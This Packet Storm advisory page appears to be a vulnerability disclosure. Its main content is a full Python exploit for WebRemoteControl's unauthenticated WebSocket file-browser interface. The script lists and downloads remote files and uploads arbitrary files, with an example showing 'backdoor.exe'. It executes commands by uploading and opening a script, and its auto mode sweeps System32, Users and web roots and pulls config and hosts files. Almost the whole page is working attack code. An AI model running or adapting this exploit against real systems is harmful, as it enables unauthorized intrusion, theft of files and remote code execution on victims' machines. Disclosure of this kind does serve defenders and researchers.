PACKETSTORM

📄 WebRemoteControl Unauthenticated Remote Filesystem Access_PACKETSTORM:222526

Description

Proof of concept tool that demonstrates how WebRemoteControl suffers from unauthenticated remote filesystem access and potential remote code execution...
Visit Original Source

Basic Information

ID PACKETSTORM:222526
Published Jun 2, 2026 at 00:00

Affected Product

Affected Versions ==================================================================================================================================
| # Title : WebRemoteControl – Unauthenticated Remote Filesystem Access & Management Interface Assessment Tool |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://github.com/wolfgangasdf/WebRemoteControl |
==================================================================================================================================

[+] Summary : a security research and assessment tool targeting WebRemoteControl deployments that expose a WebSocket-based remote control interface without authentication.
The tool evaluates whether remote users can interact with the application's file management functionality and access system resources through the exposed service.

[+] POC : python 1.py -t 192.168.1.100 --download config.ini
-t 192.168.1.100 --auto
-t 192.168.1.100 --command "whoami"
-t 192.168.1.100 --upload backdoor.exe backdoor.exe
-t 192.168.1.100 --list-path "/Windows/System32"

#!/usr/bin/env python3

import websocket
import time
import json
import os
import sys
import argparse
import base64
import threading
from datetime import datetime

class WebRemoteControlExploit:
def __init__(self, target_host, target_port=8000, ssl=False):
"""
Initialize WebRemoteControl exploit
"""
self.target_host = target_host
self.target_port = target_port
self.ssl = ssl
self.ws_url = f"{'wss' if ssl else 'ws'}://{target_host}:{target_port}/docs/cmd"
self.ws = None
self.current_path = "/"
self.file_cache = {}

def connect(self):
"""Establish WebSocket connection"""
try:
print(f"[*] Connecting to {self.ws_url}")
self.ws = websocket.create_connection(self.ws_url, timeout=10)
welcome = self.ws.recv()
print(f"[+] Connected successfully")
if welcome:
print(f"[*] Server response: {welcome[:100]}...")
return True
except Exception as e:
print(f"[-] Failed to connect: {e}")
return False

def disconnect(self):
"""Close WebSocket connection"""
if self.ws:
self.ws.close()
print("[*] Connection closed")

def send_command(self, command, wait_time=0.5):
"""Send command and receive response"""
try:
self.ws.send(command)
time.sleep(wait_time)
response = self.ws.recv()
return response
except Exception as e:
print(f"[-] Command failed: {e}")
return None

def list_files(self, path=None):
"""List files in current or specified directory"""
if path:
original_path = self.current_path
self.navigate_to_path(path)

response = self.send_command("fbgetfiles", 0.5)

if response and response.startswith("fblist"):
parts = response.split("\t")
self.current_path = parts[1]
files = parts[2:]

print(f"\n{'='*60}")
print(f"[PATH] {self.current_path}")
print(f"{'='*60}")

for i, item in enumerate(files):
is_dir = item.endswith('/') or item.endswith('\\')
icon = "" if is_dir else ""
print(f" [{i:2d}] {icon} {item}")

print(f"{'='*60}")
print(f"Total: {len(files)} items\n")
self.file_cache[self.current_path] = files
return files

elif response:
print(f"[!] Unexpected response: {response}")
return None
else:
print("[!] Failed to list files")
return None

def open_item(self, index):
"""Open folder or execute file by index"""
try:
idx = int(index)
response = self.send_command(f"fbopen\t{idx}", 0.5)

if response and response.startswith("fblist"):
parts = response.split("\t")
self.current_path = parts[1]
files = parts[2:]
print(f"[+] Opened folder: {self.current_path}")
print(f"\n{'='*60}")
print(f"[PATH] {self.current_path}")
print(f"{'='*60}")
for i, item in enumerate(files):
icon = "" if (item.endswith('/') or item.endswith('\\')) else ""
print(f" [{i:2d}] {icon} {item}")
print(f"{'='*60}\n")

self.file_cache[self.current_path] = files
return True

elif response:
print(f"[+] File executed on remote host")
print(f"[*] Response: {response[:200]}")
return True
else:
print("[!] Failed to open item")
return False

except ValueError:
print("[-] Invalid index. Use numbers only")
return False
except Exception as e:
print(f"[-] Error opening item: {e}")
return False

def go_up(self):
"""Navigate to parent directory"""
response = self.send_command("fbup", 0.5)

if response and response.startswith("fblist"):
parts = response.split("\t")
self.current_path = parts[1]
files = parts[2:]
print(f"[+] Moved to parent: {self.current_path}")
print(f"\n{'='*60}")
print(f"[PATH] {self.current_path}")
print(f"{'='*60}")
for i, item in enumerate(files):
icon = "" if (item.endswith('/') or item.endswith('\\')) else ""
print(f" [{i:2d}] {icon} {item}")
print(f"{'='*60}\n")

self.file_cache[self.current_path] = files
return True
else:
print("[!] Already at root or cannot go up")
return False

def navigate_to_path(self, target_path):
"""Navigate to a specific path"""
print(f"[*] Navigating to: {target_path}")
target_path = target_path.replace('\\', '/')
current_parts = self.current_path.replace('\\', '/').split('/')
target_parts = target_path.split('/')
common = 0
for i in range(min(len(current_parts), len(target_parts))):
if current_parts[i] == target_parts[i]:
common += 1
else:
break
for _ in range(len(current_parts) - common - 1):
if not self.go_up():
return False
for part in target_parts[common:]:
if part and part != '':
files = self.list_files()
if not files:
return False

found = False
for i, item in enumerate(files):
if item.strip('/\\') == part:
if self.open_item(i):
found = True
break

if not found:
print(f"[-] Cannot find directory: {part}")
return False

print(f"[+] Successfully navigated to: {self.current_path}")
return True

def download_file(self, filename):
"""Download file from remote system"""
print(f"[*] Attempting to download: {filename}")
files = self.list_files()
if not files:
return False
file_index = None
for i, item in enumerate(files):
if item == filename or item.endswith(filename):
file_index = i
break

if file_index is None:
print(f"[-] File not found: {filename}")
return False
print(f"[*] Opening file (index {file_index})...")
response = self.send_command(f"fbopen\t{file_index}", 1)

if response:
output_file = f"downloaded_{filename}"
with open(output_file, 'wb') as f:
f.write(response.encode('utf-8'))
print(f"[+] File saved as: {output_file}")
return True

return False

def upload_file(self, local_path, remote_name=None):
"""Upload file to remote system"""
print(f"[*] Uploading file: {local_path}")

if not os.path.exists(local_path):
print(f"[-] Local file not found: {local_path}")
return False
with open(local_path, 'rb') as f:
content = f.read()
encoded = base64.b64encode(content).decode('ascii')
remote_name = remote_name or os.path.basename(local_path)
command = f"fbupload\t{remote_name}\t{encoded}"
response = self.send_command(command, 2)

if response and "success" in response.lower():
print(f"[+] File uploaded successfully: {remote_name}")
return True
else:
print(f"[-] Upload failed: {response}")
return False

def execute_command(self, command):
"""Execute system command via file execution"""
print(f"[*] Executing command: {command}")
if sys.platform == "win32":
script_name = f"temp_{int(time.time())}.bat"
script_content = f"@echo off\n{command}\necho [COMPLETE]\npause"
else:
script_name = f"temp_{int(time.time())}.sh"
script_content = f"#!/bin/bash\n{command}\necho '[COMPLETE]'"

with open(script_name, 'w') as f:
f.write(script_content)

if self.upload_file(script_name):
time.sleep(1)
self.list_files()
files = self.list_files()
for i, item in enumerate(files):
if item == script_name:
print(f"[*] Executing uploaded script...")
self.open_item(i)
break
if os.path.exists(script_name):
os.remove(script_name)

return True

def recursive_list(self, path="", max_depth=3, current_depth=0):
"""Recursively list directory contents"""
if current_depth >= max_depth:
return

if path:
self.navigate_to_path(path)
else:
self.list_files()

files = self.file_cache.get(self.current_path, [])

for i, item in enumerate(files):
indent = " " * current_depth
if item.endswith('/') or item.endswith('\\'):
print(f"{indent} {item}")
self.open_item(i)
self.recursive_list("", max_depth, current_depth + 1)
self.go_up()
else:
print(f"{indent} {item}")

def interactive_shell(self):
"""Interactive file browser shell"""
print("""
╔═══════════════════════════════════════════════════════════════╗
║ WebRemoteControl - File Browser Exploit ║
║ Unauthenticated Remote Filesystem Access ║
║ by indoushka ║
╚═══════════════════════════════════════════════════════════════╝

Commands:
list / ls - Show current directory contents
open <index> - Open folder or execute file
up / cd.. - Go to parent directory
cd <path> - Change to specific directory
download <filename> - Download file
upload <local_file> - Upload file
exec <command> - Execute system command
tree [depth] - Recursive directory listing
pwd - Show current path
search <pattern> - Search for files
exit / quit - Exit exploit

Examples:
> list
> open 5
> cd Windows/System32
> download config.ini
> upload backup.zip
> exec whoami
> tree 2
""")

while True:
try:
cmd = input(f"\n[{self.current_path}]> ").strip().lower()

if not cmd:
continue

if cmd in ['list', 'ls']:
self.list_files()

elif cmd.startswith('open'):
parts = cmd.split()
if len(parts) == 2:
self.open_item(parts[1])
else:
print("Usage: open <index>")

elif cmd in ['up', 'cd..']:
self.go_up()

elif cmd.startswith('cd '):
target_path = cmd[3:].strip()
if target_path == '..':
self.go_up()
else:
self.navigate_to_path(target_path)

elif cmd.startswith('download '):
filename = cmd[9:].strip()
self.download_file(filename)

elif cmd.startswith('upload '):
local_file = cmd[7:].strip()
self.upload_file(local_file)

elif cmd.startswith('exec '):
command = cmd[5:].strip()
self.execute_command(command)

elif cmd.startswith('tree'):
depth = 3
if len(cmd.split()) > 1:
try:
depth = int(cmd.split()[1])
except:
pass
print("\n[*] Recursive directory listing:")
print("="*60)
self.recursive_list("", depth)

elif cmd == 'pwd':
print(f"Current path: {self.current_path}")

elif cmd.startswith('search '):
pattern = cmd[7:].strip()
self.search_files(pattern)

elif cmd in ['exit', 'quit']:
print("[*] Exiting...")
break

else:
print("Unknown command. Type 'help' for available commands")

except KeyboardInterrupt:
print("\n[*] Interrupted")
break
except Exception as e:
print(f"[-] Error: {e}")

def search_files(self, pattern):
"""Search for files matching pattern"""
print(f"[*] Searching for: {pattern}")
found = []

def search_recursive(depth=0, max_depth=3):
if depth >= max_depth:
return

files = self.list_files()
if not files:
return

for i, item in enumerate(files):
if pattern.lower() in item.lower():
found.append({
'path': self.current_path,
'name': item,
'index': i
})

if item.endswith('/') or item.endswith('\\'):
self.open_item(i)
search_recursive(depth + 1, max_depth)
self.go_up()
original_path = self.current_path
search_recursive()

if found:
print(f"\n[+] Found {len(found)} matches:")
for match in found:
print(f" {match['path']}{match['name']} (index {match['index']})")
else:
print("[-] No matches found")
self.navigate_to_path(original_path)

def auto_exploit(target_host, target_port=8000):
"""Automated exploit sequence"""
exploit = WebRemoteControlExploit(target_host, target_port)

if not exploit.connect():
return False

print("\n[*] Starting automated exploitation...")
print("="*60)
exploit.list_files()
sensitive_paths = [
"/Windows/System32/config",
"/Users",
"/Program Files",
"/Windows/System32/drivers/etc",
"/inetpub/wwwroot",
"/xampp/htdocs"
]

for path in sensitive_paths:
print(f"\n[*] Checking: {path}")
if exploit.navigate_to_path(path):
exploit.list_files()
sensitive_files = ['hosts', 'config', '.ini', '.conf', 'web.config']
files = exploit.file_cache.get(exploit.current_path, [])
for file in files:
for sensitive in sensitive_files:
if sensitive in file.lower():
print(f"[!] Found sensitive file: {file}")
exploit.download_file(file)

print("\n[+] Automated exploitation completed")
return True

def main():
parser = argparse.ArgumentParser(description='WebRemoteControl - Unauthenticated Remote Filesystem Access Exploit')
parser.add_argument('-t', '--target', required=True, help='Target IP address')
parser.add_argument('-p', '--port', type=int, default=8000, help='Target port (default: 8000)')
parser.add_argument('--ssl', action='store_true', help='Use WSS instead of WS')
parser.add_argument('--auto', action='store_true', help='Run automated exploitation')
parser.add_argument('--command', help='Execute single command and exit')
parser.add_argument('--download', help='Download file from remote system')
parser.add_argument('--upload', nargs=2, metavar=('LOCAL', 'REMOTE'), help='Upload file (local remote)')
parser.add_argument('--list-path', help='List specific path')

args = parser.parse_args()

exploit = WebRemoteControlExploit(args.target, args.port, args.ssl)

if not exploit.connect():
sys.exit(1)
if args.command:
exploit.execute_command(args.command)
exploit.disconnect()
sys.exit(0)
if args.download:
exploit.download_file(args.download)
exploit.disconnect()
sys.exit(0)
if args.upload:
local_file, remote_name = args.upload
exploit.upload_file(local_file, remote_name)
exploit.disconnect()
sys.exit(0)
if args.list_path:
exploit.navigate_to_path(args.list_path)
exploit.list_files()
exploit.disconnect()
sys.exit(0)
if args.auto:
auto_exploit(args.target, args.port)
exploit.disconnect()
sys.exit(0)
try:
exploit.interactive_shell()
except KeyboardInterrupt:
print("\n[*] Interrupted by user")
finally:
exploit.disconnect()

if __name__ == "__main__":
main()

Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.